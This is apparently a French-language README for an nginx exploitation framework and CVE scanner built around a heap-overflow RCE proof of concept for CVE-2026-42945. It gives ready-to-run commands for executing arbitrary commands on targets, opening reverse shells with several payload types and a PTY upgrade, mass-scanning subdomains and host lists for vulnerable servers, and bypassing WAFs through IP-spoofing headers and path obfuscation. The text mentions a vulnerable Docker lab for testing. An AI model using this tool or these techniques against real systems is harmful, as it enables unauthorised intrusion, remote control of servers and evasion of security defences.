
scanner de CVE nginx + framework d'exploitation RCE (CVE-2026-42945 + 16 autres)
nGixShell est un scanner de CVE nginx et un framework d'exploitation RCE. Il embarque une preuve de concept pour CVE-2026-42945 (CVSS 3.1 8.1 HIGH selon F5/NVD) — un débordement de tampon sur le tas dans ngx_http_rewrite_module — et un scanner couvrant 64 CVE nginx avec sondes HTTP automatisées, fingerprinting, détection/contournement de WAF, audit de sécurité web et génération de rapports.
Aucune dépendance externe. Uniquement la bibliothèque standard de Python 3.
Prérequis pour l'exploit (à lire en premier).
--cmd/--shellne fonctionnent que si toutes ces conditions sont réunies : la cible est en x86_64, la configuration vulnérablerewrite+setest présente, l'ASLR est désactivée, et les adresses du tas/libc ont été calibrées pour ce build exact (calibrate.py→--build-file). Voir Prérequis pour l'exploit. Le scanner lui-même n'a pas de telles exigences.
# Spin up the vulnerable lab (builds nginx from source, ASLR disabled)
docker compose -f env/docker-compose.yml up -d --build
# Auto mode — fingerprint + CVE scan + web audit (works on any arch)
python3 ngixshell.py 127.0.0.1:19321
# RCE — calibrate, restart the worker for a clean heap, then exploit
W=$(pgrep -f 'nginx: worker' | head -1)
sudo python3 calibrate.py 127.0.0.1 19321 "$W" --spray-path /spray \
--spray-mode full --json -o profile.json
docker compose -f env/docker-compose.yml restart nginx-vuln
python3 ngixshell.py 127.0.0.1:19321 --cmd 'id > /tmp/rce.txt' \
--build-file profile.json
docker compose -f env/docker-compose.yml exec nginx-vuln cat /tmp/rce.txt
# Drop a reverse shell (IP auto-detected)
python3 ngixshell.py 127.0.0.1:19321 --shell --shell-type bash --upgrade-shell --build-file profile.json
# Detect and bypass WAF, then scan
python3 ngixshell.py 127.0.0.1:19321 --waf-bypass
# Subdomain scan
python3 ngixshell.py --subdomain-scan example.com --scan-port 443
# Multiple targets from a file (one report per target)
python3 ngixshell.py --target-file hosts.txt --json --html-report results.html
Aucun flag requis — pointer l'outil vers une cible exécute tout automatiquement.
Le TLS est détecté automatiquement. nginx est fingerprinté même avec server_tokens off.
system()ne capture pas stdout :--cmd 'id's'exécute mais n'affiche rien en retour. Utilisez une commande avec un effet de bord observable et confirmez-le avec--verify-url http://target/pwned(HTTP 200 = confirmé).
python3 ngixshell.py [TARGET] [OPTIONS]
TARGET formats:
127.0.0.1
192.168.1.10:8080
http://192.168.1.10:8080
https://target.local
| Flag | Description |
|---|---|
| (aucun) | Auto — fingerprint + scan CVE + audit web |
--cmd 'CMD' | Exécuter une commande via la RCE CVE-2026-42945 |
--cmd-file FILE | Exécuter des commandes depuis un fichier (jointes avec ;) |
--shell | Ouvrir un reverse shell |
--shell-type TYPE | Payload : bash python perl php nc powershell (défaut : python) |
--upgrade-shell | Envoyer automatiquement la mise à niveau PTY après connexion du shell |
--verify-url URL | Après un crash détecté, récupérer l'URL pour confirmer l'exécution de la commande (200 = vérifié) |
--subdomain-scan DOMAIN | Trouver un nginx vulnérable sur les sous-domaines |
--cve CVE-ID | Tester une CVE spécifique |
--list-cves | Afficher les 64 CVE avec CVSS et infos de sonde |
--list-candidates | Afficher les candidats d'adresses du tas |
--dry-run | Fingerprint + scan uniquement, sans exploit |
--target-file FILE | Scanner plusieurs hôtes depuis un fichier |
| Flag | Description |
|---|---|
--build-file FILE | Recommandé. Profil de calibration JSON issu de calibrate.py --json -o FILE |
--offsets SPEC | Décalages hexadécimaux du tas séparés par des virgules, issus de calibrate.py (ex. 0x5a427,0x60e67) |
--heap-base HEX / --libc-base HEX / --system-addr HEX | Surcharges manuelles d'adresses |
--build KEY | Profil intégré (seule la référence du lab DepthFirst est fournie) |
--rewrite-path PATH | Emplacement rewrite vulnérable (défaut /api) |
--spray-path PATH | Emplacement adossé à proxy_pass utilisé pour le spray du corps POST (défaut /upload ; le lab fourni utilise /spray) |
--spray-mode partial|full | partial : corps court + Content-Length élevé (lab fourni) ; full : corps complet + X-Delay (lab DepthFirst) |
--pad-a N / --pad-plus N | Remplissage du chemin de déclenchement avant la séquence + (défauts 349 / 969, d'après le PoC du fournisseur) |
--continue-on-crash | Continuer à essayer les candidats de tas restants après un crash non vérifié |
--tries N / --spray N / --body-len N | Tentatives de déclenchement par candidat / connexions de spray / taille du corps de spray |
| Flag | Description |
|---|---|
--waf-detect | Détecter le WAF avant le scan |
--waf-bypass | Activer toutes les techniques de contournement (lance aussi la détection) |
--waf-ip IP | Usurper cette IP dans les en-têtes de contournement (défaut : RFC1918 aléatoire) |
Techniques de contournement (toutes actives quand --waf-bypass est défini) :
| Technique | Détail |
|---|---|
| Usurpation d'IP | X-Forwarded-For, X-Real-IP, X-Originating-IP, True-Client-IP, X-Remote-IP, X-Client-IP |
| Rotation d'UA | 11 User-Agents réels de navigateurs/bots, randomisés à chaque requête |
| Obfuscation de chemin | double-slash, remplissage /./, encodage en pourcentage, variation de casse |
| Mélange de casse des en-têtes | randomise la casse des noms d'en-têtes pour casser la correspondance de motifs du WAF |
WAF détectés : Cloudflare, AWS WAF, Akamai, Imperva/Incapsula, ModSecurity, F5 BIG-IP ASM, Sucuri, Barracuda, NAXSI, Fastly, Wordfence
S'exécute automatiquement en mode scan. Tous les modules peuvent être ignorés individuellement.
| Flag | Description |
|---|---|
--skip-headers | Ignorer l'audit des en-têtes de sécurité HTTP |
--skip-paths | Ignorer la découverte de chemins/fichiers |
--skip-vhosts | Ignorer l'énumération des hôtes virtuels |
--skip-tls | Ignorer l'audit du protocole TLS |
--path-wordlist FILE | Chemins supplémentaires à sonder (un par ligne) |
/nginx_status s'il est exposé| Flag | Description |
|---|---|
--port PORT | Surcharger le port |
--tls | Forcer TLS (détecté automatiquement par défaut) |
--proxy URL | Proxy : http://, https://, socks5:// |